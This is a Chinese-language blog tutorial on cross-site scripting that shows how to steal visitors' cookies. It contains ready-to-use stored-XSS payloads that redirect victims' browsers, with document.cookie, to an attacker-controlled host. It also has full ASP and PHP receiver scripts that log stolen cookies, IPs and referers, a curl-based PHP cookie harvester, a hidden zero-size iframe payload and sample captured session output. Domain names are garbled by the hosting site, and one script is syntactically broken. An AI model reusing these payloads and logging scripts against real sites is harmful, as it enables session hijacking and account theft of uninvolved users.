0x01 简单介绍
0X02 背景
0x03 实践
0x04 操作问题与解决方案
0x05 结束
--------------------------------------------------------------------
0x01 : XSS (Cross Site Scripting)是指恶意攻击者往Web页面里插入恶意(不一定都是恶意滴比如Test)html代码,当用户浏览该页之时,嵌入其中Web里面的html代码就可能会被触发,从而达到插入者的特殊目的。
XSS攻击分成两类,
一类是来自内部的攻击,主要指的是利用程序自身的 漏洞 ,构造跨站语句
另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。XSS和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。
0x02 : 现在碰到过XSS反射 XSS入库
XSS反射型也称非持久型,是指我们通过URL构造插入自己的代码
for ex: http://Www.C.Com/index. asp ?name= < script>alert('XSS')</script>
这种方式自行构造不保存 需要将自己构造的链接等待某些人去触发。
XSS入库型也称持久型,持久呀,持久。。。
for ex: 在一些网站的注册用户的个人信息处可能会出现。或者某个Text框框。。。。
-----------------------------------
常用代码
<script>alert(document.cookie)</script> <script>alert('C')</script>
<IMG src=javascript:alert('C')>
------------------------------------
最近想要了解一下。测试了一下,终于算成功执行了。
-------------------------------------
XSS的高级应用很多,不才,了解甚微。我举例说明的比较简单,就是获取cookie。
---------------------------------------
0x03:
网站A HdhCmsTesta测试数据 //有着持久XSS滴 不可控
网站B HdhCmsTestb测试数据 //自己存放获取cookies脚本滴 可控
网上资料很多 但是大多都是你转载我 我转载他。 更可恶的是转载的途中可能网站的限制等问题 转义 字符替换 乱码 等
导致脚本不能正常运行,也不给个原文出处,还可耻的装原创。
网上可见的比较简单的获取页面分 ASP PHP 两种脚本 已经足够
ASP版本
<% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("cook.txt") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(""&msg& "") thisfile.close set fs = nothing %>
PHP版代码: <?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $time=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('cook.txt', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); fclose($fp); ?>
大多都这种 将其保存成 1.php 然后保存到自己的空间去
http://HdhCmsTestb测试数据/1.php
http://HdhCmsTestb测试数据/1.asp
然后在 入库XSS处 填写
<script>document.location="http:// HdhCmsTest2cto测试数据 /1.php?c="+document.cookie;</script>
或
<script>document.location="http://HdhCmsTestb测试数据/1.asp?msg="+document.cookie;</script>
虽然过滤不严格导致了各种形式的XSS 但是 可能因为 文本框的长度问题不能输入这么长 或者禁用过滤掉了<script></script>标签
0x04
测试一下发现如果 长度超标则会出现不能入库的情况 自然 就没有XSS了
如果使用一个HTM 或者HTML 文件
则获取到的cookies 则是HdhCmsTestb测试数据 的 而不在是A了 因为它先从A达了B又在B上获取的cookies
1)HdhCmsTesta测试数据/xss.asp 2)跨站HdhCmsTestb测试数据/1. html 3)1.html--->HdhCmsTestb测试数据/1.php 4)获取到了B的cookies
显然这样失去了我们要去获取A的cookies的初衷和意义了,因为至少B是自己可控的,A是想要去可控的。
我想到了可以使用只有一个php页面 没有参数 也不需要跟随 document.cookie 来获取 。因为自己不懂 php所以就结合着网上的代码自己修改了一份可以直接获取的,参数名称什么的可能起的不是很标准。
像ASP ASPX JSP prel python 啥的 我就更不懂了。欢迎大家指正或者提供一个更高效率的脚本。
<?php $ch = curl_init(); $ip = getenv ('REMOTE_ADDR'); $time = date("Y-m-d G:i:s A"); $referer = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch,CURLOPT_URL,'http://HdhCmsTesta测试数据'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,1); curl_setopt($ch, CURLOPT_NOBODY, false); time()+94608000; //这里是说cookies 3年内不失效,不过这样我不知道是否还有意义 $rs = curl_exec($ch); preg_match_all('/Set-Cookie: (.+)=(.+)$/m', $rs, $regs); foreach($regs[1] as $i=>$k) $fp = fopen('C.html', 'a'); fwrite($fp, 'k: '.$k.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br>agent: '.$agent.'<br><br><br>'); fclose($fp); curl_close($ch); ?>
然后使用<iframe></iframe>标签
<iframe src="http://HdhCmsTestb测试数据/1.php";/> // 如果条件成熟 文本框长度限制不严格的话可以调整框架大小
<iframe src=http://HdhCmsTestb测试数据/1.php width=0 height=0></iframe> 否则总是会出现一个 巴掌大的操蛋小框框。。。。
<script>document.location="http://HdhCmsTestb测试数据/1.php?c="+document.cookie;</script>
这样使用<iframe>标签相对使用 <script> 标签 带参数调用获取cookies 就要简短很多。很且获取的准确性也高了很多。
当然还是需要根据眼下的实际情况定夺,不一定可以使用<iframe> 或者是 在页面中限制了<iframe>得使用范围等等。。。
----------------
获取结果现实
k: ASPSEXXXXXXXXXXXQASCA=BOHJNXXXXXXXXXXXXXNFFAOLCGKC; path IP: 1x0.45.1X9.105 Date and Time: 2012-00-00 00:00:51 PM Referer: http://HdhCmsTesta测试数据/xss.asp agent: Mozilla/7.0 (linux 2.6.18) AppleWebKit/516.11 (KHTML, like Gecko) Chrome/21.0.1142.57 Safari/516.11
==============================================================
0X05 一篇总结 不喜勿喷 欢迎指正 共同进步。
这只是一个在一个特定背景下完成的一个小测试。脱离了原有背景或许可以举一反三,但是如果不正确的先说明这是一个独立的背景只说用php脚本就可以获取cookies 是不负责的表现。对自己对别人都是
查看更多关于XSS跨站使用php获取cookies 并保存 - 网站安全 - 自学的详细内容...